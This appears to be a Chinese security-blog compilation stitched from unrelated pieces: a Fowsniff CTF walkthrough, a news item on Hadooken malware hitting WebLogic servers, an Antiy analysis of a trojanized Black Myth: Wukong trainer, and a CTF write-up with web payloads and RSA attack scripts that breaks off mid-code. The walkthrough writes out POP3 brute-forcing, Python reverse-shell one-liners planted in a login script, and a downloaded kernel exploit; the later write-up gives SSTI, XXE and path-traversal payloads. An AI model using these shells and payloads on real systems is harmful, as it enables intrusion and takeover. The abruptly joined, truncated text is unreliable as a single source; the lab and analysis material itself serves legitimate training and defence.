ISHACK AI BOT

一、信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址，命令如下： root@kali2018:~# nmap -A 192.168.1.13 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-13 01:18 EST Nmap scan report for 192.168.1.13 Host is up (0.0014s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp openssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA) | 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA) |_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519) 80/tcp openhttp Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Fowsniff Corp - Delivering Solutions 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: AUTH-RESP-CODE UIDL SASL(PLAIN) PIPELINING USER CAPA TOP RESP-CODES 143/tcp open imap Dovecot imapd |_imap-capabilities: have OK more IMAP4rev1 post-login listed capabilities LOGIN-REFERRALS SASL-IR Pre-login LITERAL+ IDLE AUTH=PLAINA0001 ENABLE ID MAC Address: 08:00:27:1E:80:B0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.38 ms 192.168.1.13 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds 扫描结果显示有4个端口开放，22(ssh),80(http)，110(pop3),143(imap)。 二、靶机入侵 1.先看看80端口会不会有收获，打开浏览器访问： 看起来像一个静态HTML页面,在页面上向下滚动，有一个注释信息：@fowsniffcorp 页面上没有发现什么，继续使用dirb和nikto进行扫描也没有什么收获 root@kali2018:~# dirb http://192.168.1.13 root@kali2018:~# nikto -h http://192.168.1.13 于是我Google了一番页面上显示的这个fowsniff corp 找到fowsniff twitter（@fowsniffcorp），有一条粘滞的推文： 在打开链接地址https://pastebin.com/NrAqVeeX之后，页面上显示了网站邮箱泄露的邮件用户和密码。 密码是MD5格式，使用sodm5（https://www.somd5.com/batch.html）或hashcat可以解密密码： 现在我们创建一个用户名和密码的字典，然后通过hydra对pop3进行爆破。 首先，将所有用户名粘贴到user.txt文件中保存，然后，将所有密码粘贴到pass.txt文件中保存。 也可以使用msf来爆破pop3登录，命令和配置如下： msf > use auxiliary/scanner/pop3/pop3_login msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.13 rhosts => 192.168.1.13 msf auxiliary(scanner/pop3/pop3_login) > set user_file /opt/user.txt user_file => /opt/user.txt msf auxiliary(scanner/pop3/pop3_login) > set pass_file /opt/pass.txt pass_file => /opt/pass.txt msf auxiliary(scanner/pop3/pop3_login) > set verbose false verbose => false msf auxiliary(scanner/pop3/pop3_login) > exploit 运行之后我们找到了正确的凭证，“seina:scoobydoo2”，如图： 通过hydra对邮箱进行爆破如下： hydra -L users.txt -P pass.txt -f {IP} pop3 -L ~ username wordlist -P ~ password wordlist -f ~ stop cracking when valid user is found root@kali2018:/opt# hydra -L user.txt -P pass.txt -f 192.168.1.13 pop3 可以看到成功爆破出用户名seina和对应的密码scoobydoo2 接着我们连接到靶机的pop3服务上，使用刚才获取的凭证进行登录。登录上之后，我们查看下信息，发现有两条信息，命令如下： root@kali2018:/opt# nc 192.168.1.13 110 +OK Welcome to the Fowsniff Corporate Mail Server! user seina +OK pass scoobydoo2 +OK Logged in. list +OK 2 messages: 1 1622 2 1280 使用list命令查看是否有邮件信息。我们可以看到有两条消息，然后使用 retr [id] 用来读取邮件。 我们查看第一条信息的内容，发现它包含SSH的临时密码是“S1ck3nBluff + secureshell”： retr 1 +OK 1622 octets Return-Path: <stone@fowsniff> X-Original-To: seina@fowsniff Delivered-To: seina@fowsniff Received: by fowsniff (Postfix, from userid 1000) id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT) To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff Subject: URGENT! Security EVENT! Message-Id: <20180313185107.0FA3916A@fowsniff> Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT) From: stone@fowsniff (stone) Dear All, A few days ago, a malicious actor was able to gain entry to our internal email systems. The attacker was able to exploit incorrectly filtered escape characters within our SQL database to access our login credentials. Both the SQL and authentication system used legacy methods that had not been updated in some time. We have been instructed to perform a complete internal system overhaul. While the main systems are "in the shop," we have moved to this isolated, temporary server that has minimal functionality. This server is capable of sending and receiving emails, but only locally. That means you can only send emails to other users, not to the world wide web. You can, however, access this system via the SSH protocol. The temporary password for SSH is "S1ck3nBluff+secureshell" You MUST change this password as soon as possible, and you will do so under my guidance. I saw the leak the attacker posted online, and I must say that your passwords were not very secure. Come see me in my office at your earliest convenience and we'll set it up. Thanks, A.J Stone 接着查看第二条信息，信息中可以看到发件人是baksteen@fowsniff，可以推断用户名是baksteen： retr 2 +OK 1280 octets Return-Path: <baksteen@fowsniff> X-Original-To: seina@fowsniff Delivered-To: seina@fowsniff Received: by fowsniff (Postfix, from userid 1004) id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT) To: seina@fowsniff Subject: You missed out! Message-Id: <20180313185405.101CA1AC2@fowsniff> Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT) From: baksteen@fowsniff Devin, You should have seen the brass lay into AJ today! We are going to be talking about this one for a looooong time hahaha. Who knew the regional manager had been in the navy? She was swearing like a sailor! I don't know what kind of pneumonia or something you brought back with you from your camping trip, but I think I'm coming down with it myself. How long have you been gone - a week? Next time you're going to get sick and miss the managerial blowout of the century, at least keep it to yourself! I'm going to head home early and eat some chicken soup. I think I just got an email from Stone, too, but it's probably just some "Let me explain the tone of my meeting with management" face-saving mail. I'll read it when I get back. Feel better, Skyler PS: Make sure you change your email password. AJ had been telling us to do that right before Captain Profanity showed up. 接着我们使用刚才获得的凭证，也就是用户名：baksteen 密码：S1ck3nBluff+secureshell来登录ssh root@kali2018:/opt# ssh [email protected] 三、权限提升 1.第一种权限提升 登录成功。对系统进行一下枚举，发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件，发现了一个脚本“cube.sh”，查找命令如下： baksteen@fowsniff:~$ find / -group users -type f 2>/dev/null 我们查看一下这个脚本文件的内容，发现它包含我们ssh登陆后出现的界面信息，对照上图ssh登录成功后的截图便知。 baksteen@fowsniff:~$ cd /opt/cube baksteen@fowsniff:/opt/cube$ ls baksteen@fowsniff:/opt/cube$ cat cube.sh 我们使用vim打开该文件，并在文件结尾添加一行Python反弹shell的命令： python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.21",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 如图： 保存后，我们尝试执行该脚本，报错，错误信息是“Python command is not found”。于是我们在系统中查找Python，发现安装的是Python3，如图： 所以我们修改反弹shell的命令为Python3，如下： python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似，所以我们来查看下“etc/update-motd.d”目录，查找运行改程序的可执行文件，发现了“00-header”这个文件运行这个shell脚本。 现在我们退出ssh，并且在本地使用netcat设置监听，然后我们重新连接ssh，这样的话，我们的反弹shell就成功执行了 root@kali2018:/opt# nc -lvvp 1234 root@kali2018:~# ssh [email protected] 一旦成功登录，我们就获得了一个root用户的shell。我们切换到root目录，发现一个flag.txt的文件，查看文件便得到了我们的flag信息： root@kali2018:/opt# nc -lvvp 1234 listening on [any] 1234 ... 192.168.1.13: inverse host lookup failed: Unknown host connect to [192.168.1.21] from (UNKNOWN) [192.168.1.13] 50676 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls Maildir flag.txt # cat flag.txt ___ _ __ _ _ / __|___ _ ___ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| | | (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_| \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_) |___/ (_) |-------------- |&&&&&&&&&&&&&&| | R O O T | | F L A G | |&&&&&&&&&&&&&&| |-------------- | | | | | | --- Nice work! This CTF was built with love in every byte by @berzerk0 on Twitter. Special thanks to psf, @nbulischeck and the whole Fofao Team. # 2.第二种权限提升 在枚举baksteen账号的时候，我们注意到内核目标靶机的系统内核为4.4.0-116-generic，该内核容易受到本地权限提升的漏洞攻击。目标系统中并没有安装GCC，可以在攻击机上编译成功后的EXP，然后下载到目标靶机上执行。 baksteen@fowsniff:/opt/cube$ uname -a https://www.exploit-db.com/exploits/44298/ root@kali2018:/opt# wget https://www.exploit-db.com/download/44298 --2019-02-13 02:50:28--https://www.exploit-db.com/download/44298 Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8 Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 6021 (5.9K) [application/txt] Saving to: ‘44298’ 44298100%[===============================================================================>] 5.88K--.-KB/s in 0s 2019-02-13 02:50:32 (27.4 MB/s) - ‘44298’ saved [6021/6021] root@kali2018:/opt# ls 44298 pass.txtuser.txt root@kali2018:/opt# cp 44298 cp: missing destination file operand after '44298' Try 'cp --help' for more information. root@kali2018:/opt# cp 44298 44298.c root@kali2018:/opt# gcc -o exploit 44298.c root@kali2018:/opt# ls 44298 44298.cexploit pass.txt user.txt root@kali2018:/opt# num.sh linuxprivchecker.py baksteen@fowsniff:/opt/cube$ baksteen@fowsniff:/opt/cube$ wget http://192.168.1.21:81/exploit --2019-02-13 02:53:41--http://192.168.1.21:81/exploit Connecting to 192.168.1.21:81... connected. HTTP request sent, awaiting response... 200 OK Length: 17880 (17K) [application/octet-stream] Saving to: 鈥榚xploit鈥 exploit100%[====================================================================================>] 17.46K--.-KB/s in 0.002s 2019-02-13 02:53:41 (8.29 MB/s) - 鈥榚xploit鈥saved [17880/17880] baksteen@fowsniff:/opt/cube$ ls cube.sh exploitLinEnum.sh linuxprivchecker.py baksteen@fowsniff:/opt/cube$ chmod +x exploit baksteen@fowsniff:/opt/cube$ ./exploit task_struct = ffff88001ebe8000 uidptr = ffff88001eb3e184 spawning root shell root@fowsniff:/opt/cube# id uid=0(root) gid=0(root) groups=0(root),100(users),1001(baksteen) root@fowsniff:/opt/cube# <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

黑客瞄准 Oracle WebLogic 服务器，用一种名为“Hadooken”的新 Linux 恶意软件感染它们，该恶意软件会启动一个加密矿工和一个分布式拒绝服务 (DDoS) 攻击工具。 获得的访问权限还可能用于对 Windows 系统执行勒索软件攻击。容器安全解决方案公司 Aqua Security 的研究人员在蜜罐上观察到了这种攻击，威胁者由于凭证薄弱而攻破了蜜罐。 Oracle WebLogic Server 是一款企业级 Java EE 应用服务器，用于构建、部署和管理大规模分布式应用程序。该产品常用于银行和金融服务、电子商务、电信、政府组织和公共服务。 攻击者之所以将 WebLogic 视为目标，是因为它在业务关键型环境中非常受欢迎，这些环境通常拥有丰富的处理资源，是加密货币挖矿和 DDoS 攻击的理想选择。 Hadooken 猛烈攻击 一旦攻击者破坏环境并获得足够的权限，他们就会下载名为“c”的 shell 脚本和名为“y”的 Python 脚本。 研究人员表示，这两个脚本都会释放 Hadooken，但 shell 代码还会尝试在各个目录中查找 SSH 数据，并利用这些信息攻击已知服务器。此外，“c”还会在网络上横向移动以分发 Hadooken。 在已知主机上搜索 SSH 密钥 反过来，Hadooken 会投放并执行加密货币挖矿程序和 Tsunami 恶意软件，然后设置多个 cron 作业，这些作业的名称和有效负载执行频率都是随机的。 Tsunami 是一种 Linux DDoS 僵尸网络恶意软件，它通过对弱密码进行暴力攻击来感染易受攻击的 SSH 服务器。 攻击者之前曾使用 Tsunami 对受感染的服务器发起 DDoS 攻击和远程控制，而它再次被发现与 Monero 矿工一起部署。 Aqua Security 研究人员强调，Hadooken 将恶意服务重命名为“-bash”或“-java”，以模仿合法进程并与正常操作混合。 完成此过程后，系统日志将被清除以隐藏恶意活动的迹象，从而使发现和取证分析变得更加困难。 对 Hadooken 二进制文件的静态分析揭示了与 RHOMBUS 和 NoEscape 勒索软件家族的联系，但在观察到的攻击中没有部署勒索软件模块。 研究人员推测，在某些条件下，例如在操作员进行手动检查后，服务器访问权限可能会被用来部署勒索软件。未来版本也有可能引入此功能。 Hadooken 攻击概述 此外，在提供 Hadooken (89.185.85[.]102) 的其中一台服务器上，研究人员发现了一个 PowerShell 脚本，该脚本下载了适用于 Windows 的 Mallox 勒索软件。 有报道称，该 IP 地址用于传播勒索软件，因此我们可以假设威胁者不仅针对 Windows 端点执行勒索软件攻击，还针对 Linux 服务器，以攻击大型组织经常使用的软件来启动后门和加密矿工 - Aqua Security 根据研究人员使用 Shodan 搜索引擎对联网设备进行搜索的结果显示，公共网络上已有超过 230,000 台 Weblogic 服务器。

1 概述 近日，安天CERT通过网络安全监测发现利用“黑神话悟空修改器”传播恶意代码的活动，攻击者将自身的恶意代码程序与《黑神话：悟空》第三方修改器“风灵月影”捆绑在一起，再通过在社媒发布视频等方式引流，诱导玩家下载。玩家一旦下载了带有恶意代码的修改器版本，在运行修改器的同时，也将在后台自动运行恶意代码，导致计算机被控制，产生隐私泄露、经济损失等风险。 《黑神话：悟空》作为国产首款3A游戏大作，千万玩家在线狂欢，尽享盛宴。但玩家尽情在痛殴游戏中的BOSS（或被BOSS痛殴）的时候，也要小心网络中的妖魔鬼怪、恶意代码。祝玩家在游戏中都成为齐天大圣，在上网时也擦亮火眼金睛，穿上金甲战衣。 经验证，安天智甲终端防御系统（简称IEP）可实现对捆绑的恶意代码的有效查杀。 2 样本传播渠道 1.利用视频图文引流，携带恶意钓鱼网址 攻击者在视频网站、博客等平台发布视频、图文等格式钓鱼内容，并在其中附带捆绑木马的游戏修改器下载链接，诱导用户下载并执行恶意程序。 图 2‑1通过视频网站引流钓鱼网址 图 2‑2通过发帖引流钓鱼网址 2.警惕利用闲鱼、淘宝等购物平台传播捆绑木马 《黑神话：悟空》的大量“修改器”上架闲鱼、淘宝平台，售价在1~10元左右，这些修改器很多都标注称是“风灵月影”，但实际上，该修改器均为完全免费软件，在风灵月影的网站上就可免费下载。攻击者可能会将携带恶意代码的《黑神话：悟空》修改器挂到购物网站上引流，请广大用户谨慎购买。 图 2‑3 闲鱼、淘宝平台售卖大量修改器 3 样本分析 3.1样本标签 表 3‑1二进制可执行文件 病毒名称 Trojan/Win32.PoolInject 原始文件名 黑神话悟空修改器.exe MD5 2C00D2DA92600E70E7379BCAFF6D10B1 处理器架构 Intel 386 or later, and compatibles 文件大小 6.88 MB (7,215,452 字节) 文件格式 BinExecute/Microsoft.EXE[:X86] 时间戳 2022-12-14 13:40:00 UTC 数字签名 无 加壳类型 无 编译语言 Visual C/C++ VT首次上传时间 2024-08-25 06:21:11 UTC VT检测结果 44/75 3.2样本分析 样本是一个Advanced Installer安装包，执行时会在桌面释放“Black Myth Wukong v1.0 Plus 35 Trainer.exe”并执行，该文件为正常修改器程序。另外还会启动msi文件的安装。该安装包可使用/extract参数解包。 图 3‑1样本安装包 msi文件设置了执行条件，不支持虚拟机中运行。 图 3‑2检测虚拟机环境 其捆绑的恶意程序WindowsSandBoxC.exe存放在streams流中，会在运行正常修改器后执行。 图 3‑3安装包内嵌的恶意程序 样本伪装图标和数字签名为Windows Sandbox组件，但与实际系统组件无关。 图 3‑4伪装的图标和数字签名 样本使用ZeroMQ库在进程内传递数据。攻击者对样本中的载荷下载地址中的符号进行了替换，实际的载荷下载地址为https[:]//a-1324330606.cos.accelerate.myqcloud[.]com/a和https[:]//xyz-1324330606.cos.accelerate.myqcloud[.]com/xyz。相关地址为腾讯云对象存储服务。 图 3‑5利用ZeroMQ进行通信 相关下载代码如下所示。 图 3‑6下载载荷 目前该载荷下载地址已失效，但通过情报关联，可以发现其后续载荷还通过相同对象云存储账号下的多个位置下载了载荷。 图 3‑7关联后续载荷 通过对其载荷下载地址中的腾讯云COS存储桶ID进行关联搜索，可发现近期在该腾讯云存储账号中还出现过多次恶意载荷，包括与目前活跃的“游蛇”（又称银狐）组织相关的攻击样本。 此外还发现多个其他软件被捆绑的样本，他们的行为中包含下载多个云存储文件，以及类似%ProgramFiles%\Adobe\ 图 3‑8更多被捆绑的样本 安天智甲终端防御系统（简称IEP）可实现对捆绑的恶意代码的有效查杀。 建议企业用户部署专业的终端安全防护产品，对本地新增和启动文件进行实时检测，并周期性进行网内病毒扫描。安天智甲终端安全系列产品（以下简称“智甲”）依托安天自研威胁检测引擎和内核级主动防御能力，可以有效查杀本次发现病毒样本。 智甲可对本地磁盘进行实时监测，对新增文件自动化进行病毒检测，对发现病毒可在其落地时第一时间发送告警并进行处置，避免恶意代码启动。 图 3-9发现病毒时，智甲第一时间捕获并发送告警 智甲还为用户提供统一管理平台，管理员可通过平台集中查看网内威胁事件详情，并批量进行处置，提高终端安全运维效率。 图 3-10通过智甲管理中心查看并完成威胁事件处置 4 loCs 2C00D2DA92600E70E7379BCAFF6D10B1 308D7792233286B2AE747DA9F9343487 http://tgfile.1258012.xyz/cac1be36221 https://a-1324330606.cos.accelerate.myqcloud.com/a https://xyz-1324330606.cos.accelerate.myqcloud.com/xyz

前言 百万美元三血 AK WEB RE MISC方向 ->Web方向 一个池子? 猜测SSTI 验证一下 确定为ssti漏洞 出的题很简单, 自从某场比赛ssti绕waf了一夜绕了出来,就再也没有难的ssti了 这题都不用手注 fenjing梭了……. python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01 百万美元的诱惑 三血 经典的绕过a不等于b 但a的md5必须和b的md5一样 比赛已经出现过很多次这样的题了 ?a=QNKCDZO&b=s878926199a 下面一个c用2025e绕过 整体payload ?a=QNKCDZO&b=s878926199a&c=2025e 进入dollar.php 无数字无字母构造12 这里使用$(())构造 某show的相似题具体分析过程可看 [CTFshow]Web命令执行章节之[53-68]笔记 1年前03139 这里构造12个 *13即可 get_reverse_number = "$((~$(({}))))" # 取反操作 negative_one = "$((~$(())))" # -1 payload = get_reverse_number.format(negative_one*13) print(payload) 发送之后查看源代码 浏览器也能套娃 这里只能读取本地的 的url 猜测 SSRF file:///flag SAS – Serializing Authentication System 只需要username=admin password=secure_password让后base64序列化即可 <?php class User { public $username='admin'; public $password='secure_password'; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; } } $a=new User("admin","secure_password"); $b=serialize($a); $c=base64_encode($b); echo $c; ?> exx 查看源代码 xxe注入 账号密码登录之后bp抓一下包 替换一下post的内容 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user> 高亮主题(划掉)背景查看器 尝试抓个包，看到 POST / HTTP/1.1 Host: node2.anna.nssctf.cn:28997 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 16 Origin: http://node2.anna.nssctf.cn:28997 Connection: close Referer: http://node2.anna.nssctf.cn:28997/ Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210 ; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210 Upgrade-Insecure-Requests: 1 Priority: u=1 theme=theme1.php 发现url请求被过滤..符号，但是这里还是可以进行文件读取，POST请求了theme=theme1.php 于是在此页面构造 theme=../../../../../flag，成功读取flag ->Crypto方向 CRT 观察脚本,发现可以利用广播攻击: sage脚本 from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 190411380939157573614465969176188364243212328104900874455580834466648946228827266 131542054359933586577117812757355594092748196188241730429805569860388954077580625 498196080546133073998384088678556236477513224141901741115235953701136647295944202 597548068346564904172921749943376836765043274931030185062429630636713156054278670 548735077203428500383075170166876594359745620249735317172747591935774505562928214 103882682433049967203373948297264536804327510929555755123725826246947092890194029 089864297091164415443323277389687854285016652548944446515476230085307083432106448 14773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密！") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e) small_e 使用低指数攻击来解密提供的密文 列表c_List。直接求每个密文的立方根，转换为字符来得到flag from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密！") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e) common_primes 共模攻击 两个RSA公钥模数和共享一个质因数 ，破解原密文整体思路： 通过计算两个给定模数 和 的最大公因数，找到它们的共享质因数 使用共享质因数分解和 ，得到另外两个质因数和 使用欧拉的 函数计算和的值这是后续计算私钥指数所需的中间值 通过计算公钥指数 在模和下的模反元素，得到私钥指数和 使用得到的私钥指数和,对相应的密文 和 进行解密，得到明文和 将解密得到的长整数转换为字节数组，解码为字符串 如果两个解密后的消息相同，输出解码后的 flag 脚本 from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 给定的模数和密文 n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769 n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573 c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252 c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420 e = 65537 # 计算共享质因数 p p = int(gcd(n1, n2)) # 计算 q1 和 q2 q1 = n1 // p q2 = n2 // p # 计算 phi(n1) 和 phi(n2) phi_n1 = (p - 1) * (q1 - 1) phi_n2 = (p - 1) * (q2 - 1) # 计算 d1 和 d2 d1 = inverse(e, phi_n1) d2 = inverse(e, phi_n2) # 解密消息 m1 和 m2 m1 = pow(c1, d1, n1) m2 = pow(c2, d2, n2) # 将解密后的长整数转换回字节 flag1 = long_to_bytes(m1) flag2 = long_to_bytes(m2) # 打印解密后的消息 print("Decrypted message from c1:", flag1) print("Decrypted message from c2:", flag2) # 打印解密后的消息中的 flag（假设 flag 存在于其中之一） if flag1 == flag2: print("Flag:", flag1.decode()) else: print("Flag from c1:", flag1.decode()) print("Flag from c2:", flag2.decode()) common_primes_plus 思路还是基于共模攻击，该攻击使用了两个 RSA 公钥（模数 n1 和 n2）共享的质因数 p。共享质因数的存在可以推导出 RSA 私钥并解密消息 from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 已知值 n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053 hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627 hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976 c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632 e = 65537 # 通过 GCD 求得 p p = gcd(hint1, hint2) if p == 1: raise ValueError("Common factor p could not be found from given hints.") # 计算 q1 q1 = n1 // p # 计算 phi(n1) phi_n1 = (p - 1) * (q1 - 1) # 将 phi_n1 转换为标准整数 phi_n1 = int(phi_n1) # 计算私钥指数 d1 d1 = inverse(e, phi_n1) # 解密消息 m m = pow(c, d1, n1) # 将解密后的长整数转换回字节 flag = long_to_bytes(m) # 打印解密后的消息 print("Decrypted message:", flag.decode()) Polynomial 下载附件 根据代码分析，这个CTF题目涉及基于一个使用了三个素数的RSA加密系统。通常的RSA加密系统使用两个素数（p 和 q）来计算模数 n，但在这个题目中，模数 n 是由三个素数 (p, q 和 r) 相乘得到的。我们的任务就是根据给定的多项式方程组和加密密文来解密消息 第一步：使用给定的多项式方程组，建立三个关于素数 p、q 和 r 的方程，通过求解这些方程来获取素数的值 第二步：使用求得的三个素数 p、q 和 r，计算出模数 n，φ(n)是欧拉函数，计算方式为 (p-1)*(q-1)*(r-1)，其中 p、q 和 r 是解密过程中求得的素数 第三步：使用模反元素公式计算私钥 d： d ≡ e^(-1) (mod φ(n))，其中 e 是公钥的指数，一般默认值为 65537 第四步：使用私钥 d 和 RSA 解密公式 m ≡ c^d (mod n)，得到解密后的消息 m 最后将解密出的长整数消息 m 转换为字节，并尝试解码为可读的文本 # 导入必要的库 from Cryptodome.Util.number import long_to_bytes, inverse from sympy import symbols, solve # 给定的多项式方程的常数项 Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142 Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760 Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832 # 加密消息 c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900 # 求解多项式方程，得到 p, q, r 的值 p, q, r = symbols('p q r', integer=True) # 定义符号 p, q, r 为整数 eq1 = p**2 + q - Polynomial1 # 定义第一个多项式方程 eq2 = q**2 + r - Polynomial2 # 定义第二个多项式方程 eq3 = r**2 + p - Polynomial3 # 定义第三个多项式方程 solutions = solve((eq1, eq2, eq3), (p, q, r)) # 求解方程组，得到 p, q, r 的解 # 选择合适的解 for solution in solutions: p = int(solution[0]) q = int(solution[1]) r = int(solution[2]) if p*q*r < c: # 